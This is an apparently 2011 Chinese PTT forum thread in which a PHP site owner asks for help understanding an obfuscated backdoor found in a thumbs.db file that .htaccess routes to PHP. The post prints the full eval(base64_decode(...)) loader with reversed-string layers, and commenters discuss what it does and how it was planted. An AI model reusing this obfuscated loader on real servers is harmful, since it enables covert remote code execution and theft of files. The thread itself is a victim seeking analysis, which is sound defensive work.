[請益] php 網站被植入密文 base64_decode

看板PHP作者 (幸福的進行式)時間12年前 (2011/10/02 23:05), 編輯推噓8(8推 0噓 12→)
留言20則, 9人參與, 最新討論串1/5 (看更多)
這陣子感覺網站很慢 研究了一下 發現了 不認識的檔案 .htaccess 聯結了 thumbs.db 裡頭竟然不是我想像中的圖片? 而是base64加密的密文 <?php @eval(base64_decode("aWYgKCRldmFsYnNmcm1iR3ZaWERGICE9IDU1NjkzKSB7ZnVuY3Rpb24gZXZhbHFLcVFJWmpRbXZIKCRzKXtmb3IgKCRhID0gMDsgJGEgPD0gc3RybGVuKCRzKS0xOyAkYSsrICl7JGUgLj0gJHN7c3RybGVuKCRzKS0kYS0xfTt9cmV0dXJuKCRlKTt9ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9c1RLd2d5WnVsR2R5OUdjbEozWHk5bWN5VkdRIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9QVNmN2tTVFVOSFpDVm1hR3hrVGl4MlFzRm1kbFJDS2xSMmJqVkdaZlJqTmxOWFlpQmlieVZIZGxKM2Vna1NUVU5IWkNWbWFHeGtUaXgyUXNGbWRsUkNLMWxYU2xOWFRCbFdTS05GYmhaWFpnNDJicFIzWXVWbloiK GVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdraUk5VWtNWkpDSzFsWFNsTlhUQmxXU0tORmJoWlhaZzBESTNaWFVCWm5VSlYwZDBoMmNNeG1RbXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdraUk5MEVTa2htVXpNbUlvVVhlSlYyY05GVWFKcDBVc0ZtZGwxelREZG5ZR2hIWjFkR1ZDVkhSaXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj09d09wSVNQOUUwWXdJRlNoSkNLMWxYU2xOWFRCbFdTS05GYmhaWFo5NFVaVkZXUjFwbFpPVjBZTXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW1 2SCgnOykpIj1zVEtpMEROWEZtSW9VWGVKVjJjTkZVYUpwMFVzRm1kbDFqVjVkMFkwcDNTalowUUgxR1VXeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiPXNUS2kwVFBSbGtka2RWU2lnU2Q1bFVaejFVUXBsa1NUeFdZMlZXUGh4a1p4ZDJaaEJGYTZkSFZ3UkdTUHhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj09d09kbGlJVlZUVlNoa1J3ZzFVV0JUVldsalJWVmxVR05sSW9VWGVKVjJjTkZVYUpwMFVzRm1kbHRsVUZabFVGTjFYazBUZFlwM1lKVlVlUWRWUUZ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI3a1NLa TBUUG5OR2I0MVdXMFpVYlZKQ0sxbFhTbE5YVEJsV1NLTkZiaFpYWmd3U0tpUWpWSHBWZEdkMVZpZ1NkNWxVWnoxVVFwbGtTVHhXWTJWR0lza2lJOWtFV2FKRGJIRm1hS2hWV21aMFZoSkNLMWxYU2xOWFRCbFdTS05GYmhaWFpnd1NLaUFUT3RGMVRPWkZWaWdTZDVsVVp6MVVRcGxrU1R4V1kyVkdJc2tpSTlFa2JqRkRleVVsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbEJDTHBJQ2I0SmpXMmxqTVNKQ0sxbFhTbE5YVEJsV1NLTkZiaFpYWm9rWFl5SlhZZzBESXlwMmRJeFVheWwwVkNwMFN0eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiN2NuZFJGa2RTbFVSM1JIYXp4RWJDWkdiaFpYWmswakxXOTBRdFptVVRWa1JoWkVhSU5VWXN wSGJoWlhaa0FTS2dzeUtwUkNJN2tESTl3RElwUkNJN0FESTlBU2FrZ0NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiN2tTS2kwVFBSWjJOcmwzWXJkV2VqQlROWHBGTTFJallxbGpSa3hHWnlnRmI0ZFZZdEpVUkpWblNZUkdNVzEyWTNJMFVMcG5VRHQwVFdoMVlWQkhNWmhtUkdkbFJzQmpZUmx6UmlobVdZcDFaMElqWXdKMU1aVm5WdXBsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdjbmRSRmtkU2xVUjNSSGF6eEViQ1pHYmhaWFprNGlJdUlTUHVBaVZQTlVibUoxVUZaVVlHaEdTREZHYjZ4V1kyVkdKIihlZG9jZWRfNDZlc2FiK GxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9PVFmOXRqYVh4MGNRSjBTNXhXVHNGbWRsUkNJdmgyWWx0VFh4c2xhWHgwY1FKMFM1eFdUc0ZtZGxSQ0k5QWlhWHgwY1FKMFM1eFdUc0ZtZGxSQ0k3a2lhWHgwY1FKMFM1eFdUc0ZtZGxSQ0xoeGtaeGQyWmhCRmE2ZEhWd1JHU1B4V1kyVkdKb1VHWnZ4R2M0VkdJOUFpYVh4MGNRSjBTNXhXVHNGbWRsUnllcGtTWU1aV2NuZFdZUWhtZTNSRmNraDBUc0ZtZGxSQ0xxZEZUekJsUUxsSGJOeFdZMlZHSm9JSGR6SkhkemhDSW1sMk9wa1NYcElTVk9GRFZKbGpSVlZsVUdObElvVVhlSlYyY05GVWFKcDBVc0ZtZGx0bFVGWmxVRk4xWGtnU1prOTJZdVZHYnlWbkxwSVNPbjFtU2lnU2Q1bFVaejFVUXBsa1NUeFdZMlZtTHBVSFc 2TldTRmxIVVhGVVJzRm1kbFJDS2xSMmJqNVdac0pYZHVraUk1a1ViS0pDSzFsWFNsTlhUQmxXU0tORmJoWlhadTBWS2kwVFNHSlZSR0JEV0dKVk1VNWtWclZsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbHRsVUZabFVGTjFYazRTS2kwRE1VRm1Jb1VYZUpWMmNORlVhSnAwVXNGbWRsNVNLaTBET0VObUlvVVhlSlYyY05GVWFKcDBVc0ZtZGw1U0tpOG1RdXhrSW9VWGVKVjJjTkZVYUpwMFVzRm1kbDVpVjVkMFkwcDNTalowUUgxR1VXeFdZMlZHSnVraUk5MHpkTUpDSzFsWFNsTlhUQmxXU0tORmJoWlhadVkxVEQxbVpTTlZSR0ZtUm9oMFFoeG1lc0ZtZGxSaUxwSVNQNGtIVGlnU2Q1bFVaejFVUXBsa1NUeFdZMlZtTHBJU1A5YzJUaWdTZDVsVVp6MVVRcGxrU1R4V1kyVm1MT1ZXVmhWV WRhWm1URk5HVHNGbWRsUkNLT1ZYY1VwMFloRkZXRmwwYlE5R2JoWlhaZzBESXFkRlR6QmxRTGxIYk54V1kyVkdKZ3NUS3dBRE93RXpLcGdTWnRsR2Rza1NLaTBUVElSR2FTTnpZaWdTZDVsVVp6MVVRcGxrU1R4V1kyVkdLMVFXYnM4MFEzSm1SNFJXZG5SbFExUmtZc0ZtZGxSQ0tsbDJhdjkyWTBWMmNBQnllZ1UyY3NWR0k5dEhJcGtTS2Q5MFEzSm1SNFJXZG5SbFExUmtZc0ZtZGxSeVdGbDBTUDkwUWZSQ0swVjJjemxHS2dJM2Jna1NLMWhsZWpsVVI1QjFWQlZFYmhaWFprQUNMaWsyTGlBaUxna2ljcWRIU01sbWNKZGxRS3RVYnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbGJzZnJ tYkd2WlhERiA9NTU2OTM7fQ==")); ?> 有網站可以解碼 http://www.tools4noobs.com/online_php_functions/base64_decode/ 不過解完好像還有一層 小弟看不懂 請問有哪位高手可以解釋他藏了什麼....感恩 直接po上解碼後的程式碼 if ($evalbsfrmbGvZXDF != 55693) {function evalqKqQIZjQmvH($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);} eval(evalqKqQIZjQmvH(';))"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"=ASf7kSTUNHZCVmaGxkTix2QsFmdlRCKlR2bjVGZfRjNl NXYiBibyVHdlJ3egkSTUNHZCVmaGxkTix2QsFmdlRCK1lXSlNXTBlWSKNFbhZXZg42bpR3YuVnZ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"7kiI9UkMZJCK1lXSlNXTBlWSKNFbhZXZg0DI3ZXUBZnUJ V0d0h2cMxmQmxWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"7kiI90ESkhmUzMmIoUXeJV2cNFUaJp0UsFmdl1zTDd nYGhHZ1dGVCVHRixWY2VGJ"(edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"==wOpISP9E0YwIFShJCK1lXSlNXTBlWSKNFbhZXZ94UZ VFWR1plZOV0YMxWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"=sTKi0DNXFmIoUXeJV2cNFUaJp0UsFmd l1jV5d0Y0p3SjZ0QH1GUWxWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"=sTKi0TPRlkdkdVSigSd5lUZz1UQplkSTxWY 2VWPhxkZxd2ZhBFa6dHVwRGSPxWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoUXe JV2cNFUaJp0UsFmdltlUFZlUFN1Xk0TdYp3YJVUeQdVQFxWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"7kSKi0TPnNGb41WW0ZUbVJCK1lXSlNXTBlWSKNFbhZXZ gwSKiQjVHpVdGd1VigSd5lUZz1UQplkSTxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCK1 lXSlNXTBlWSKNFbhZXZgwSKiATOtF1TOZFVigSd5lUZz1UQplkSTxWY2VGIskiI9EkbjF DeyUlIoUXeJV2cNFUaJp0UsFmdlBCLpICb4JjW2ljMSJCK1lXSlNXTBlWSKNFbhZXZokX YyJXYg0DIyp2dIxUayl0VCp0StxWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"7cndRFkdSlUR3RHazxEbCZGbhZXZk0jLW90QtZmUTVk RhZEaINUYspHbhZXZkASKgsyKpRCI7kDI9wDIpRCI7ADI9ASakgCIy9mZ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpF M1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDt0TWh1YVBHMZhmRGdlRsBjY RlzRihmWYp1Z0IjYwJ1MZVnVuplIoUXeJV2cNFUaJp0UsFmdlhCbhZXZ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"7cndRFkdSlUR3RHazxEbCZGbhZXZk4iIuISPuA iVPNUbmJ1UFZUYGhGSDFGb6xWY2VGJ" (edoced_46esab(lave')); eval(evalqKqQIZjQmvH(';))"==Qf9tjaXx0cQJ0S5xWTsFmdlRCIvh2YltTXxs laXx0cQJ0S5xWTsFmdlRCI9AiaXx0cQJ0S5xWTsFmdlRCI7kiaXx0cQJ0S5xWTsF mdlRCLhxkZxd2ZhBFa6dHVwRGSPxWY2VGJoUGZvxGc4VGI9AiaXx0cQJ0S5xWTsF mdlRyepkSYMZWcndWYQhme3RFckh0TsFmdlRCLqdFTzBlQLlHbN xWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIoUXeJV2cNFUaJp0Us FmdltlUFZlUFN1XkgSZk92YuVGbyVnLpISOn1mSigSd5lUZz1UQplkSTxWY2VmLp UHW6NWSFlHUXFURsFmdlRCKlR2bj5WZsJXdukiI5kUbKJCK1lXSlNXTBlWSKNFbh ZXZu0VKi0TSGJVRGBDWGJVMU5kVrVlIoUXeJV2cNFUaJp0UsFmdltlUFZlUFN1Xk 4SKi0DMUFmIoUXeJV2cNFUaJp0UsFmdl5SKi0DOENmIoUXeJV2cNFUaJp0UsFmdl 5SKi8mQuxkIoUXeJV2cNFUaJp0UsFmdl5iV5d0Y0p3SjZ0QH1GUWxWY2VGJukiI9 0zdMJCK1lXSlNXTBlWSKNFbhZXZuY1TD1mZSNVRGFmRoh0QhxmesFmdlRiLpISP4 kHTigSd5lUZz1UQplkSTxWY2VmLpISP9c2TigSd5lUZz1UQplkSTxWY2VmLOVW VhVUdaZmTFNGTsFmdlRCKOVXcUp0YhFFWFl0bQ9GbhZXZg0DIqdFTzBlQLlHbNxW Y2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSd5lUZz1UQplkSTxWY2VG K1QWbs80Q3JmR4RWdnRlQ1RkYsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkS Kd90Q3JmR4RWdnRlQ1RkYsFmdlRyWFl0SP90QfRCK0V2czlGKgI3bgkSK1hlejlU R5B1VBVEbhZXZkACLik2LiAiLgkicqdHSMlmcJdlQKtUbsFmdlRCIsICfigSZk9G bw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave')); $evalbsfrmbGvZXDF =55693;} -- <囧>" 打擊~ ■ ㄥㄥ -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 114.32.247.164
推
10/02 23:18, , 1F
這種因該沒有人敢直接解巴....，除非有虛擬機...
10/02 23:18, 1F
→
10/02 23:23, , 2F
從網頁上就能看到解後的程式碼 可惜還有另外一層的密文
10/02 23:23, 2F
※ 編輯: kidbaby 來自: 114.32.247.164 (10/02 23:34)
→
10/03 00:01, , 3F
關鍵字: edoced_46esab
10/03 00:01, 3F
→
10/03 01:13, , 4F
我找到相關的討論串 http://0rz.tw/KxHBE
10/03 01:13, 4F
→
10/03 01:14, , 5F
可惜 我還是看不懂他在幹什麼 = =
10/03 01:14, 5F
推
10/03 11:18, , 6F
好恐怖 =.=
10/03 11:18, 6F
推
10/03 11:44, , 7F
抓你server的file
10/03 11:44, 7F
→
10/03 13:02, , 8F
他是怎樣才把檔案丟進去SERVER 的阿
10/03 13:02, 8F
→
10/03 14:18, , 9F
同意樓上... 更該在意的是怎麼植入的
10/03 14:18, 9F
推
10/03 14:47, , 10F
原po要不要把你網站放出來給大家看一下.
10/03 14:47, 10F
推
10/04 14:40, , 11F
thumbs.db塞php語法也能直接執行嗎?該檔案不是只有縮圖
10/04 14:40, 11F
→
10/04 14:41, , 12F
才使用到的檔案喔?
10/04 14:41, 12F
→
10/04 15:45, , 13F
我也是這樣以為 可惜不是 我下一篇文章有檔案可抓
10/04 15:45, 13F
推
10/04 15:56, , 14F
如果沒記錯，這個是XSS攻擊@_@
10/04 15:56, 14F
→
10/04 15:58, , 15F
XD，如果上面猜錯請糾正
10/04 15:58, 15F
→
10/04 16:14, , 16F
一切要看你設定, 我也可以設 .jpg 要進php編譯器
10/04 16:14, 16F
→
10/04 16:14, , 17F
跟 XSS 沒關
10/04 16:14, 17F
推
10/04 16:53, , 18F
突然想到db檔怎麼打開阿?
10/04 16:53, 18F
推
10/04 16:57, , 19F
查了一下好像要下載特定軟體打開耶?
10/04 16:57, 19F
→
10/04 17:55, , 20F
隨便一個 editor都可以 例如notepad記事本
10/04 17:55, 20F
‣ 更多 kidbaby 的文章
文章代碼(AID): #1EY7sVjA (PHP)
討論串 (同標題文章)
以下文章回應了本文：
完整討論串 (本文為第 1 之 5 篇)：
排序： 最舊先 | 最新先 | 留言數
在新視窗開啟完整討論串 (共5篇)
‣ 更多 kidbaby 的文章
文章代碼(AID): #1EY7sVjA (PHP)